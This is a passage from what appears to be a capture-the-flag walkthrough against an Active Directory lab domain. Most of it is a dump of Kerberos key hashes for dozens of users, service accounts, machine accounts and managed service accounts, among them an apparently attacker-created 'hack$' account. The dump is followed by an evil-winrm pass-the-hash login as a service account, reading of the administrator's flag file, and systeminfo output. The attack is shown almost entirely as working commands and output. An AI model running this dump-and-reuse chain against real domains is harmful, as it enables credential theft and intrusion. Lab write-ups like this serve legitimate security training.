CleoParks:des-cbc-md5:f4a44c9276d6c179
EliVoss:aes256-cts-hmac-sha1-96:6aa2d7c6b9d65a8e3b49f51ec1a3cc40404fa7e4b774c9cc99cd844eb76dffe4
EliVoss:aes128-cts-hmac-sha1-96:bfb79a8f61d99bd4a3e9e977cfa77a58
EliVoss:des-cbc-md5:f804980b98268694
JuneCross:aes256-cts-hmac-sha1-96:338edd03f260efbda747fbce74962f1b87ef6e71f01e65185830be5ac53786b6
JuneCross:aes128-cts-hmac-sha1-96:996f5e28b962dabe4d32ff2041c84f40
JuneCross:des-cbc-md5:8057381f1c7c8cd6
AaronLake:aes256-cts-hmac-sha1-96:90e2793707fb09307f7849e374114ea8d5f066e93b346d8a19369b867e68d38e
AaronLake:aes128-cts-hmac-sha1-96:c7e97ad533a51bb6f4e5fb6b77100036
AaronLake:des-cbc-md5:a86d92455ea8a431
TessLane:aes256-cts-hmac-sha1-96:23a153d16248f8cce7d9c278fa11357edb764ee09d800bd7332eb8de562e6fe3
TessLane:aes128-cts-hmac-sha1-96:1e1c094d4d05120bce6c21c51f7c17a0
TessLane:des-cbc-md5:1364efcdc7b05e75
AdamBriar:aes256-cts-hmac-sha1-96:d2e03830ebe37292e2a0c40132ef7b8f4609473cf324cdbda5eabecc53bca53c
AdamBriar:aes128-cts-hmac-sha1-96:01fc4cfc835fe89a8567df95df4d7154
AdamBriar:des-cbc-md5:2532f13e157c3858
EdenRusk:aes256-cts-hmac-sha1-96:9ff2c23fee9161d710f5bafa97312ffc64390e9b79a8dd084775a2dec32ae144
EdenRusk:aes128-cts-hmac-sha1-96:36cef8cafa535babc83a16238864d8e8
EdenRusk:des-cbc-md5:94988651c8f734c4
IanQuinn:aes256-cts-hmac-sha1-96:a749171482738e00389c8ad15ef42d517bd8d968c87446eb8944445869d48b9f
IanQuinn:aes128-cts-hmac-sha1-96:35f236fa57a3cf8a51d63c96bf5bfe04
IanQuinn:des-cbc-md5:311f4fbaea4c6b26
LaraSnow:aes256-cts-hmac-sha1-96:b6ccbd331657c3c6d023f033e7c6e10df8f7064ecd01ad73943514fc2ef267d9
LaraSnow:aes128-cts-hmac-sha1-96:0c4cfe8a2cfbfd7feb69e47adf24e5ff
LaraSnow:des-cbc-md5:136d463783fed6c4
AxelBourne:aes256-cts-hmac-sha1-96:e456142dbdffea57fa4ab00d342ab30d04d8e943c67ab4fb010d0b256a8ef6d9
AxelBourne:aes128-cts-hmac-sha1-96:4ad467ec6daa96a384d2302721ac40cb
AxelBourne:des-cbc-md5:a2f252f44fab37da
NinaField:aes256-cts-hmac-sha1-96:d8551a932b9663ca663378004c80df8722fad0b9705cf08387c2e01ead85986b
NinaField:aes128-cts-hmac-sha1-96:fa66962c00c340f56d4aa6d2583766d2
NinaField:des-cbc-md5:e9b05e4fa4548ff8
FinnBrent:aes256-cts-hmac-sha1-96:ee5180b400699006ece7a8ad6364db19973c005b357c549fca3062696f48841f
FinnBrent:aes128-cts-hmac-sha1-96:e9ec132dd72251d9cfc4e523a50d8454
FinnBrent:des-cbc-md5:23ab9e458c4c4589
LanaCraig:aes256-cts-hmac-sha1-96:859b21a80ad9ef2a9e607d48fbb1d0f5e6cbc18da13beb5f07e7199ea17e0043
LanaCraig:aes128-cts-hmac-sha1-96:58478edc6d92b2d9a5fddc3bfed7478f
LanaCraig:des-cbc-md5:79462994ae0d5e8a
ZaneRowe:aes256-cts-hmac-sha1-96:6dd1a5bae70082ea13c0fe70683e44f7ca81eb802f49ce4165532a79281649ac
ZaneRowe:aes128-cts-hmac-sha1-96:67078d93fa6aaf7c0cdd690a3c987dfc
ZaneRowe:des-cbc-md5:83542c4fcdc7ad49
MiraDean:aes256-cts-hmac-sha1-96:20884b8cf851a671270b0fa3d3361201f58d2af19202f34fc9a922709fd721cd
MiraDean:aes128-cts-hmac-sha1-96:e071f6a6d5a15c7df8d0ba5e75b63827
MiraDean:des-cbc-md5:7ffb1fea16d53b3d
JoelPine:aes256-cts-hmac-sha1-96:aeff9dcb4265d9e9a77d4fe30eb3883617aade87faa346aed2dc35196be45a4c
JoelPine:aes128-cts-hmac-sha1-96:995e70e750ad2843084c530638db9fcf
JoelPine:des-cbc-md5:671307b09dae9d0d
CoraFlynn:aes256-cts-hmac-sha1-96:ca69c8a5cbaeea0dd63ef89ca98e8a31c61740abe59d7bcce2c3a15ff5b46d12
CoraFlynn:aes128-cts-hmac-sha1-96:227de0c663d607647723a034ed5b0547
CoraFlynn:des-cbc-md5:bc89235dce683454
DrewMyers:aes256-cts-hmac-sha1-96:bb1d1d5dafdec7fa0f4891ebb6619281b156ef0ff2ed36352df4c99bdd10108e
DrewMyers:aes128-cts-hmac-sha1-96:ba62c656d592480d66f8d761d35e8456
DrewMyers:des-cbc-md5:9d028f9e2fb96d01
VeraStone:aes256-cts-hmac-sha1-96:ab7151e05ecd9c943db44f703b308a9708faebcc775126c89db8a5808af61786
VeraStone:aes128-cts-hmac-sha1-96:2dab00c996589bcd71206b2a081b6995
VeraStone:des-cbc-md5:c785ec80c4086ba2
TroyGlass:aes256-cts-hmac-sha1-96:deb2fbd79fdc2bbd1deaec5c07e90f98663b81ec82970dc7a973a97faa227fda
TroyGlass:aes128-cts-hmac-sha1-96:bef370dfd708565b2e203cfb265cc8e7
TroyGlass:des-cbc-md5:160486015b541619
JadeLowe:aes256-cts-hmac-sha1-96:3f91a43f9b3fe72ccd3b98341b0ac5ea6b58f77b73eaa173116949a3e4c8044f
JadeLowe:aes128-cts-hmac-sha1-96:97be2c9ba35a28fd52b9646fcf04efeb
JadeLowe:des-cbc-md5:3ef449a225cbe0ab
CodyReed:aes256-cts-hmac-sha1-96:f859fc137e1da92734b7aa1dcf5075e52dee84455e91962ba104f86d507c93e0
CodyReed:aes128-cts-hmac-sha1-96:b2d1678b35af1098804b525543655e26
CodyReed:des-cbc-md5:2625a10d6d8346d3
RosaVale:aes256-cts-hmac-sha1-96:5862eb81d22a350d8efc8de02546a998537931d61bc36f461fdf7ccb91c1e1b0
RosaVale:aes128-cts-hmac-sha1-96:e4e97defc0d07b8af6201865d7279190
RosaVale:des-cbc-md5:7313c7eac71c4568
EricShore:aes256-cts-hmac-sha1-96:63e0161ee2cfaed1263fb95982eebd70d558423907b0e17e855645f94aa64a2b
EricShore:aes128-cts-hmac-sha1-96:85105be9e7a82a674fc7f8c6ab47f8f3
EricShore:des-cbc-md5:23ce9e1ca2dad0f1
IrisDale:aes256-cts-hmac-sha1-96:aa75a32cc0fc1132b165ee6ae9cd2e5f1131a808aef86dddecc537b1303b9cbb
IrisDale:aes128-cts-hmac-sha1-96:a5de2fa181c515a20f7f9eb34d21c37c
IrisDale:des-cbc-md5:377670e36e0894f7
DeanFrost:aes256-cts-hmac-sha1-96:f3a2be13e92fe41ba9555c6fdcf248bac9d6a69ded788dd2fe59ce406bc12df8
DeanFrost:aes128-cts-hmac-sha1-96:09a9310ef67f7596090e03491d0008eb
DeanFrost:des-cbc-md5:16f1c1e5e55e1a86
HopeGale:aes256-cts-hmac-sha1-96:c87c8878093997da11875889d12b7c9408b86bc64359c73504104e973380a2e9
HopeGale:aes128-cts-hmac-sha1-96:eca622b8c966b71adfb7cd0064f0df10
HopeGale:des-cbc-md5:98d5d5dcfe106b4c
SeanDray:aes256-cts-hmac-sha1-96:60e3fbedfd9557dbab2402f35ad770ce3b16e0cf70b1ec05ee28df1d547fe16d
SeanDray:aes128-cts-hmac-sha1-96:652e69dbca8c6d30ae141556163dbbd1
SeanDray:des-cbc-md5:bcd5708f3e19a4ab
FayeLocke:aes256-cts-hmac-sha1-96:113721b273bceeca7ccab0dcb58def66f787c39f1c00faebd6099dffaa86a575
FayeLocke:aes128-cts-hmac-sha1-96:8434deb1b42addbe352ff257afd6a303
FayeLocke:des-cbc-md5:7ce6b66789e962b0
OmarPenn:aes256-cts-hmac-sha1-96:d2dc89eeecb0a633cb607963fe14a0290f37a02b4fefb094b9b8e5438ce9ffc2
OmarPenn:aes128-cts-hmac-sha1-96:3b0389bf8d4aa044180512fe3bc00275
OmarPenn:des-cbc-md5:0b45946bbaf82945
ElleGrimm:aes256-cts-hmac-sha1-96:658bf0270c266235cd4b595c62c140e996f8930044be4843ef82f08b7c8b5799
ElleGrimm:aes128-cts-hmac-sha1-96:3a2bd0e7045c1438e632a9e13fe4bbcd
ElleGrimm:des-cbc-md5:6838c41c979b2f6b
BlakeHolt:aes256-cts-hmac-sha1-96:50e65c344d93a22c0540053ac801b692f0f8f16f9d4f190b7cfa735b9154f335
BlakeHolt:aes128-cts-hmac-sha1-96:3eb694116e1e455bfcad939804f14340
BlakeHolt:des-cbc-md5:80854a196d0ea707
LacyStorm:aes256-cts-hmac-sha1-96:6869446f67d69516bed643105bae6f79cda107eecb07a1d2df030bbe223e8b31
LacyStorm:aes128-cts-hmac-sha1-96:c0acd23cd8b8a52fb87ec59a28fde689
LacyStorm:des-cbc-md5:a4e9ea706762546d
ChadDior:aes256-cts-hmac-sha1-96:e0d098154bf6438047ed9131ace48179a116fd24a0b59ac7355d51b09514368f
ChadDior:aes128-cts-hmac-sha1-96:ed259f9fa4f3eb96e3670edf255f244b
ChadDior:des-cbc-md5:79efa8b3b98cdcc4
NellRidge:aes256-cts-hmac-sha1-96:ef7699ce636389515a8961d019dedbb780e142fee49052a531895978f3165e44
NellRidge:aes128-cts-hmac-sha1-96:74c6bde2665374141da7a8667fe8eb3c
NellRidge:des-cbc-md5:bffb6710040bba9b
WadeKnoll:aes256-cts-hmac-sha1-96:e54e2182d3a976068f0980c0e375d2158875ce1c6dc6225d380d2f6593e82983
WadeKnoll:aes128-cts-hmac-sha1-96:945e8511ba867b1de85bd2d218389959
WadeKnoll:des-cbc-md5:1fe598924a4fb04f
JoyMoss:aes256-cts-hmac-sha1-96:3ad548deb385cb1c39d97f2ad6a9939f5eebae32f26a00b8b9532121827820a9
JoyMoss:aes128-cts-hmac-sha1-96:96951f4b7a0a5643f748179e8b18f482
JoyMoss:des-cbc-md5:a492c2758ccd2029
KyleThorne:aes256-cts-hmac-sha1-96:2138658212d3b4dab972fdb23b0f2d88e0066a58695a98b1d0a38a421ee8300a
KyleThorne:aes128-cts-hmac-sha1-96:a5d1a03815b4490588fa43f54ea36b2a
KyleThorne:des-cbc-md5:c1dfce4aa7795e15
GinaWest:aes256-cts-hmac-sha1-96:e6cf5d6358ecd3acef8d1e358a274ce10924ba65508cd64bdd39d87ddb9bd658
GinaWest:aes128-cts-hmac-sha1-96:ede0f538c0b7fa20d21a4c42c1b6105d
GinaWest:des-cbc-md5:bc0d4f70ce088649
ReedBlythe:aes256-cts-hmac-sha1-96:2ed02572f7e785acf868db42d67e86f1a096ff61b96c427e28cc5d605a3db8ba
ReedBlythe:aes128-cts-hmac-sha1-96:13f6306379e8f457902b7bdea45deaed
ReedBlythe:des-cbc-md5:cde51346bff85b37
NikiDane:aes256-cts-hmac-sha1-96:adfdc90a7a286f4a57bfdd2708a7305aef9315b7d574eaff6767d476ce590d37
NikiDane:aes128-cts-hmac-sha1-96:17b2ba861e10ef81a7e4cda1be4a0da8
NikiDane:des-cbc-md5:738cf2020ef4c86b
MarkSwan:aes256-cts-hmac-sha1-96:8ce67733810de531ad75381246ebdfedd9449221a41f35d7c64c17f146ce625d
MarkSwan:aes128-cts-hmac-sha1-96:41d887039b725f9f437cee1c1f02b6f0
MarkSwan:des-cbc-md5:cea12057b04c2a67
PaigeSloan:aes256-cts-hmac-sha1-96:55471a33261e853a56e0af4e675db1e40b7971ff1a564c822d74ae21692426a1
PaigeSloan:aes128-cts-hmac-sha1-96:69d2d216f2b6659c58156972f817c32e
PaigeSloan:des-cbc-md5:f1b33b623ba7f7c2
TonyBrice:aes256-cts-hmac-sha1-96:b6cce9d277b288c4e39bcb264ea577ee214143393f33fe62eec59f811c5ae32f
TonyBrice:aes128-cts-hmac-sha1-96:8dfca8540648a76105e50212127300f6
TonyBrice:des-cbc-md5:753d23c1ec3e0d80
LivHale:aes256-cts-hmac-sha1-96:f5983b14d4747ba3176a817654bf0d5041c0b606e43b10710c5c162e37fdc9d0
LivHale:aes128-cts-hmac-sha1-96:786af1e1dd8d69e259f3f0d8d82d7334
LivHale:des-cbc-md5:29344cf1e683025e
EvanTrent:aes256-cts-hmac-sha1-96:ae6676b25e5eaaba01ea181201fb3cfa15c62f5a5785d1158816c47c5d37c8d9
EvanTrent:aes128-cts-hmac-sha1-96:f6bacdaa81d318e9fcddf634bd2900a5
EvanTrent:des-cbc-md5:6e9b85836dad6267
NiaVane:aes256-cts-hmac-sha1-96:64b4c0cd276982f58d20d86017e88bf76cee906f1ee4543c46284a58c6c0feb9
NiaVane:aes128-cts-hmac-sha1-96:eca1b305287621cc56ee3ea22300c9ef
NiaVane:des-cbc-md5:700bfddfb592ae1a
ColeHyde:aes256-cts-hmac-sha1-96:a88e1a53612f9d923bbb132b6f4c89b4fbaa9e80a6386d54f00108f1a908dbda
ColeHyde:aes128-cts-hmac-sha1-96:e0e689f6aef14f43da6ceca50ced07fc
ColeHyde:des-cbc-md5:5826f88a80c713da
RuthCarr:aes256-cts-hmac-sha1-96:61b33239763c7edc81b8a006e74f5bfb2d424a31165673e00c01d12ae121a1b2
RuthCarr:aes128-cts-hmac-sha1-96:b1c3bcd198b9f76d8a5a412e44da2db9
RuthCarr:des-cbc-md5:efeccbb62cb0c7b0
DaneWells:aes256-cts-hmac-sha1-96:bde2d50c4a57cdefc76c63afc0e3f7b2e5ff32d0c6ea41201fc0ae3d5e2a9b06
DaneWells:aes128-cts-hmac-sha1-96:0162ace053d2aba1cca56d26ceb63d97
DaneWells:des-cbc-md5:32a76bc1cb2f9d2a
BreeStone:aes256-cts-hmac-sha1-96:4da3db2ff94bf88d9363fc1ff7ead65b92d375defae1d18826ae84db101a33a7
BreeStone:aes128-cts-hmac-sha1-96:120034c955ebe9146ad20f96c5e3a714
BreeStone:des-cbc-md5:2c9e5ebaf7ae899e
JoelMarx:aes256-cts-hmac-sha1-96:8f847d15178148e68bd8e26e87f7761c57363b18d9d27aca00a702adb4282ff7
JoelMarx:aes128-cts-hmac-sha1-96:acabf67d6989fd04802b6545fb56ad2c
JoelMarx:des-cbc-md5:b6d00d049b43b31a
NellFox:aes256-cts-hmac-sha1-96:8c0fb2918c53ddfde33be09a8b546c30f40e5eed56576c780c101a13a7b7cec2
NellFox:aes128-cts-hmac-sha1-96:cb63e290283f95c80f0519173eafb330
NellFox:des-cbc-md5:ead60892d316ba43
BryceYard:aes256-cts-hmac-sha1-96:9777a84ec73c31fce1dfe521e21c34e65c266dbc8b4f9d06ec5b73413f8ffb97
BryceYard:aes128-cts-hmac-sha1-96:0b3d2d44012e06d600efe5e9d656a0d6
BryceYard:des-cbc-md5:460437ea94e98938
SamiCray:aes256-cts-hmac-sha1-96:9f5aac4a3df0428b555cfdbb79320586f3d4be81e4c6db2d927fb96ca5aaa5b7
SamiCray:aes128-cts-hmac-sha1-96:a7d2da4148f673a7fa1d91349b2eb5c1
SamiCray:des-cbc-md5:267316b33d5e9b1a
JunoField:aes256-cts-hmac-sha1-96:b106f6bb03c1860a1041c0097791703275e1782f057678760fa3a57961c35d5f
JunoField:aes128-cts-hmac-sha1-96:c46a4b07b34421bf9708a0e026caec19
JunoField:des-cbc-md5:3710082385a22ae6
TobyWynn:aes256-cts-hmac-sha1-96:6c8b21df506930c7ac7b3e4e1f01502f54e191ae434b007fed2dbf94c331c3fe
TobyWynn:aes128-cts-hmac-sha1-96:30ce352148ea5d767c4e6a2044b16f22
TobyWynn:des-cbc-md5:ad371a54e5fe1640
LexBoone:aes256-cts-hmac-sha1-96:75f8e35090b671f2a0dbd18193e289f48170025a4e7ffe8b2fc5c85197a30bff
LexBoone:aes128-cts-hmac-sha1-96:ec1f5ab446cc02b8122d0c419fca8533
LexBoone:des-cbc-md5:3bd53b5ed045ab49
MinaRush:aes256-cts-hmac-sha1-96:7ccf6b212bde0bc4f0a3f9fa208f0056405a2efa6b51ad600d4b8c94d7a36a67
MinaRush:aes128-cts-hmac-sha1-96:69ad696ed7c49ab79c06c07641ea73d8
MinaRush:des-cbc-md5:51d6b6d62f49e6bf
DaxQuill:aes256-cts-hmac-sha1-96:1f271bd6a439449400f79ecd00589baab9bb1f81a63ea4bd9fdec2f7afca1d2b
DaxQuill:aes128-cts-hmac-sha1-96:cd72c03f4f8ba044752362c0ad6fa848
DaxQuill:des-cbc-md5:d5f7a1f4a8c829a7
RaeNoble:aes256-cts-hmac-sha1-96:969d7d8eb14dd194976751c4545838a465f946acf3731ff7621ce4c49077c7fe
RaeNoble:aes128-cts-hmac-sha1-96:b82898747c4aba4d524c33742ba96970
RaeNoble:des-cbc-md5:2af12ad3feb96132
BoGriff:aes256-cts-hmac-sha1-96:5128bd7364098e656a11fa57217a4dfd4ab3bd372e809a89e6b7dadbdb5ffe03
BoGriff:aes128-cts-hmac-sha1-96:a71df2d6cd3f0138208768bed3ede8b0
BoGriff:des-cbc-md5:0eda7aae70ab01a8
GiaStarr:aes256-cts-hmac-sha1-96:fdf1782cfff8956e74ce6ccc65c13952babce3d3d940709c6fb702b764ff1eb1
GiaStarr:aes128-cts-hmac-sha1-96:86fc9bd8f87139bf35f096ac742de275
GiaStarr:des-cbc-md5:b00b232a2997e537
svc_dbadm01:aes256-cts-hmac-sha1-96:196c54c4bbd89023d32e4cf76b7c47c6627897f31a405954f0e77ec085c1188f
svc_dbadm01:aes128-cts-hmac-sha1-96:be5570ff231e2e4b68562905ff472903
svc_dbadm01:des-cbc-md5:196e92b9082c10fb
svc_dbadm02:aes256-cts-hmac-sha1-96:8dc304e930a5f5f9a1a29ac91ae8be224c6108fc239e20c9c61fcc64b59d06ac
svc_dbadm02:aes128-cts-hmac-sha1-96:d9d4d3462301af5c76b122e2de60ad1e
svc_dbadm02:des-cbc-md5:07f4b9d9ba79b6ea
svc_dbadm03:aes256-cts-hmac-sha1-96:f2f88c4fda3e2bf7acecb3569016e93ddcf51de559f224d180bedaf9300ac243
svc_dbadm03:aes128-cts-hmac-sha1-96:fe2d901946eecda58e3258d863c102a0
svc_dbadm03:des-cbc-md5:431f9b49512f2f58
svc_netadm01:aes256-cts-hmac-sha1-96:4f98989919f76c1729074247254bfcd389105a298c4a476f19c177375c86a874
svc_netadm01:aes128-cts-hmac-sha1-96:b96379679ead95dc463064481b5d15df
svc_netadm01:des-cbc-md5:7a7004a80b62a119
svc_netadm02:aes256-cts-hmac-sha1-96:5424e9d8cd0544f43f9fbcad27756b3a7b2a2896917bc9ba5513a207f381d4e4
svc_netadm02:aes128-cts-hmac-sha1-96:e8e605a987953c28c74144f3c2ed4c0a
svc_netadm02:des-cbc-md5:b6fea1e04038f2d0
svc_netadm03:aes256-cts-hmac-sha1-96:7369a76db8fe5e4dd38ea5089f84f8fdc621ca892f0f508718532ae350beff37
svc_netadm03:aes128-cts-hmac-sha1-96:359b65e12afcf1be5df06ad84d335d1f
svc_netadm03:des-cbc-md5:2654545468549d7a
svc_netadm04:aes256-cts-hmac-sha1-96:9a9c5d660ba7dd7adae87f21491c778ec09da02832a33c1d3a5aaeaa44df3a66
svc_netadm04:aes128-cts-hmac-sha1-96:20297746a2ad36203cfe9b5ba8273bb2
svc_netadm04:des-cbc-md5:bad5c23bda34e0f8
svc_webadm01:aes256-cts-hmac-sha1-96:bfc3efbd1cdca42210f3030faf52f7f4fdc47d1d9683b8b55c57afb773b42f8a
svc_webadm01:aes128-cts-hmac-sha1-96:3850e4149d8602b8a2b7b87cbd1d5df1
svc_webadm01:des-cbc-md5:54159e29023dec19
svc_webadm02:aes256-cts-hmac-sha1-96:2e0aafdf0969798505216e3b685b204d3b78d1690a977d2b736895eae74551b0
svc_webadm02:aes128-cts-hmac-sha1-96:0f3f3332cc73a20c1c1578f987f2a176
svc_webadm02:des-cbc-md5:40a78525bf1697cb
svc_fileadm01:aes256-cts-hmac-sha1-96:f407d943a80bf4cdb3c97d6fb47239dec1ac0512e80286f4006180aa29538a0b
svc_fileadm01:aes128-cts-hmac-sha1-96:37d06ba24c432ed42b676deb602c6733
svc_fileadm01:des-cbc-md5:d519a2fb6b987608
svc_fileadm02:aes256-cts-hmac-sha1-96:322fe07992ec7d19a7f37ed6a44610e2784fe9d9c3875ae3c7878f059696ba2c
svc_fileadm02:aes128-cts-hmac-sha1-96:f1956f2972a8fb1f6115eb9e88ffe760
svc_fileadm02:des-cbc-md5:abb59d763d31adab
svc_logadm01:aes256-cts-hmac-sha1-96:d2067abd60c4e1cbd8cab8c32b90a094519beda46bed77475b3666ac58fdf25d
svc_logadm01:aes128-cts-hmac-sha1-96:63b3c7a25237ce51ae51eac786c08a1a
svc_logadm01:des-cbc-md5:2a10ce34a4677a23
svc_vpnadm01:aes256-cts-hmac-sha1-96:e0cdc853535fa5892307fcd91d504f7ffc2902c6b0b3c6e0b7c16bbedd9cd795
svc_vpnadm01:aes128-cts-hmac-sha1-96:15116b3d06528b38bcc56f97ba85548d
svc_vpnadm01:des-cbc-md5:043b73d5d915fe2c
svc_vpnadm02:aes256-cts-hmac-sha1-96:ebec7b8bc1b91c145582a6c539b10fa5d5782308e1c1f701d7540e9a5a77559d
svc_vpnadm02:aes128-cts-hmac-sha1-96:d3a878858146eb34cdbb309442c83e96
svc_vpnadm02:des-cbc-md5:469186fd92199b29
svc_vpnadm03:aes256-cts-hmac-sha1-96:bbf418d2c07ffad06fa909f0ef5d99c9db6ee729ffd189ad3418d8842d31dc21
svc_vpnadm03:aes128-cts-hmac-sha1-96:38291574716f0a4d00b02bd3d027ee43
svc_vpnadm03:des-cbc-md5:20d6c1fd0e349813
svc_iisadm01:aes256-cts-hmac-sha1-96:5c5c2f17d1e36fd8567d05b16186c752d7e545160453fdbf1576a3f9dc8561dc
svc_iisadm01:aes128-cts-hmac-sha1-96:47b9d8476d6f2704e14c1162fa2a1613
svc_iisadm01:des-cbc-md5:01386bbcf4ab9e54
svc_monadm01:aes256-cts-hmac-sha1-96:08b498bb0de571a9f03fbc44380c89133c22448d6f1304e1c5cb2dcdbe76fc05
svc_monadm01:aes128-cts-hmac-sha1-96:7d7de040ba92209806ad3a5f9be41894
svc_monadm01:des-cbc-md5:1a10f497617fdaa2
svc_mailadm01:aes256-cts-hmac-sha1-96:e8b1abaa8c4d0f0eb83d1adb8c131b7f9173afaebf2a0dc4101b87a19042067a
svc_mailadm01:aes128-cts-hmac-sha1-96:82fe384d738bd640e931f25f5d18c10f
svc_mailadm01:des-cbc-md5:578a7f1f3e6b45f4
svc_mailadm02:aes256-cts-hmac-sha1-96:bde92f3d56a396bda629a6fe9ac8ab19f78f22dbb3bf7b47fdf9c5a092e39b83
svc_mailadm02:aes128-cts-hmac-sha1-96:a446033d81d3519224ea111d07b79ed4
svc_mailadm02:des-cbc-md5:f4ae620ee59b9461
svc_bakadm01:aes256-cts-hmac-sha1-96:164cbdc6174121ef84f354769d4d8e51627eee46de8604f65b5ce9fbe40cd8b8
svc_bakadm01:aes128-cts-hmac-sha1-96:fbc39c3f472813690fdb89fb2e97a8cf
svc_bakadm01:des-cbc-md5:866b898675c2e683
svc_bakadm02:aes256-cts-hmac-sha1-96:d528ec13068685f87444149bf4cd42c7fb9402be0c9841803334b1b739394d98
svc_bakadm02:aes128-cts-hmac-sha1-96:824cefb4d53280299747690d6e326b40
svc_bakadm02:des-cbc-md5:a208d0d9bf294ad0
svc_jumpadm01:aes256-cts-hmac-sha1-96:d3d19cabd6b4b9e951a828cc61aa4b554efaf611bcdd8a94b566027075f4c0ea
svc_jumpadm01:aes128-cts-hmac-sha1-96:963aaabcf7fd23886f56ad6599f45bae
svc_jumpadm01:des-cbc-md5:dcd6c873ce3e6b23
svc_vmadm01:aes256-cts-hmac-sha1-96:4f527a04388a69366bb9766c9a9d7f8229a314ade64535f7ac19d65779e6a5d6
svc_vmadm01:aes128-cts-hmac-sha1-96:f2baa3c4d12ef188f9cf46f068bc7bdb
svc_vmadm01:des-cbc-md5:67b0342332ec7cd6
svc_adm01:aes256-cts-hmac-sha1-96:91c4006fcc9e988973a87d006ae4fd49babf4351496bbced647d413bf6322611
svc_adm01:aes128-cts-hmac-sha1-96:3b98bead05af4d3ccca1db98a5cd179e
svc_adm01:des-cbc-md5:438c8cdc9deab543
svc_adm02:aes256-cts-hmac-sha1-96:28f731488095a9b57850c8b828b138e24433f5174cb060d8856e109c82dc6203
svc_adm02:aes128-cts-hmac-sha1-96:781a10abc8b396fe64e2112f16b629de
svc_adm02:des-cbc-md5:0ec810ec2a855dab
svc_adm03:aes256-cts-hmac-sha1-96:1742a8b095e6edc77ef86a2006fe7f2dde501cb185ee4d4087d5de0f14cfd334
svc_adm03:aes128-cts-hmac-sha1-96:c3b5594299829bd5b29d55c91db212f3
svc_adm03:des-cbc-md5:cb1686856438df7a
ASLSRVAD05$:aes256-cts-hmac-sha1-96:805ca5839c88f68a108b853a9742f6ada564ae9cf5de35617272fd6bc5c1df39
ASLSRVAD05$:aes128-cts-hmac-sha1-96:6aae94780c23f21a578d93287a3adcf3
ASLSRVAD05$:des-cbc-md5:efe57c7040cbb910
ASLSRVFS02$:aes256-cts-hmac-sha1-96:def81e529bbe2fbf6a918b6873687119b516ceb2a267082289a0b7e00de57b6a
ASLSRVFS02$:aes128-cts-hmac-sha1-96:51f6f0a1cece0ae4a7490f70457fb443
ASLSRVFS02$:des-cbc-md5:ec8332928f6e7970
ASLITPC03$:aes256-cts-hmac-sha1-96:960c9c4c2191e7afede7aace6549cca3f6cc6c6d7cbb8b286ae9edc8530e812f
ASLITPC03$:aes128-cts-hmac-sha1-96:aacc8a25de61a266a59b4d4c4a771beb
ASLITPC03$:des-cbc-md5:e0ea5b945b4625c1
FsGmsa$:aes256-cts-hmac-sha1-96:a6f403d287efbb43ce882635be889e74a8625bb4a7903ee93b9e21f4a456c540
FsGmsa$:aes128-cts-hmac-sha1-96:05410949b1aea3bc66b2ffbbe4b633d4
FsGmsa$:des-cbc-md5:46ec1c702ca73257
DbGmsa$:aes256-cts-hmac-sha1-96:6e812d45309218c70987616331c8f42b2ef1f6794eb7f3509e44f8550e4486d9
DbGmsa$:aes128-cts-hmac-sha1-96:7f836058a1044f4200196af21d9f4123
DbGmsa$:des-cbc-md5:51105b2afe8c1340
WebGmsa$:aes256-cts-hmac-sha1-96:d089dbe3881de35e17afc74065a636c38088ea7d6e67f0a2e91fe25ba4e3328f
WebGmsa$:aes128-cts-hmac-sha1-96:44066d8eccc2cd52066febf3a84b6e3d
WebGmsa$:des-cbc-md5:f23d1aa44a43b0f1
BkpGmsa$:aes256-cts-hmac-sha1-96:33cd03f69058855263ca3283334631dc999ba8a29db31337db47d8dca559a395
BkpGmsa$:aes128-cts-hmac-sha1-96:e5da8379dc8eaeb539cf3883b258dab4
BkpGmsa$:des-cbc-md5:57ae5b2068ce0b32
ExGmsa$:aes256-cts-hmac-sha1-96:f5db992d802e4d34598a1912aef172f3838730453ef78452861eae28f194836c
ExGmsa$:aes128-cts-hmac-sha1-96:a1f04298a9093fe932dce7d164608f91
ExGmsa$:des-cbc-md5:13c185e32f73cb68
hack$:aes256-cts-hmac-sha1-96:09be75cf9d6c246c852db00e2219b7736af79a31e8184379fd2d343b47edfd6a
hack$:aes128-cts-hmac-sha1-96:74b20015a214070be914da020c906423
hack$:des-cbc-md5:2cd9dad6e08c2307
[*] Cleaning up...
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# evil-winrm -i 172.16.34.5 -u svc_netadm01 -H 5edca162998a9cebddb2f3b20165e1cd
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_netadm01\Documents> cd ../../
*Evil-WinRM* PS C:\Users> cd administrator
*Evil-WinRM* PS C:\Users\administrator> cd desktop
*Evil-WinRM* PS C:\Users\administrator\desktop> dir
Directory: C:\Users\administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/19/2025 2:00 PM 42 flag.txt
*Evil-WinRM* PS C:\Users\administrator\desktop> gc flag.txt
flag{4354d837-1a43-4f11-8021-faaf860e68ae}
6. 其他
PS C:\Users\c1trus> systeminfo
Host Name: ASLITPC03
OS Name: Microsoft Windows Server 2025 Datacenter
OS Version: 10.0.26100 N/A Build 26100
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Server
OS Build Type: Multiprocessor Free
Registered Owner: N/A
Registered Organization: N/A
Product ID: 00491-40010-00000-AA299
Original Install Date: 5/18/2025, 2:41:38 PM
System Boot Time: 1/21/2026, 5:28:23 PM
System Manufacturer: Alibaba Cloud
System Model: Alibaba Cloud ECS
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2500 Mhz
BIOS Version: EFI Development Kit II / OVMF 0.0.0, 2/6/2015
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 3,933 MB
Available Physical Memory: 1,247 MB
Virtual Memory: Max Size: 4,637 MB
Virtual Memory: Available: 1,543 MB
Virtual Memory: In Use: 3,094 MB
Page File Location(s): C:\pagefile.sys
Domain: aoseluauto.com
Logon Server: \\ASLITPC03
Hotfix(s): 3 Hotfix(s) Installed.
[01]: KB5049622
[02]: KB5055523
[03]: KB5058538
Network Card(s): 1 NIC(s) Installed.
[01]: Red Hat VirtIO Ethernet Adapter
Connection Name: Ethernet
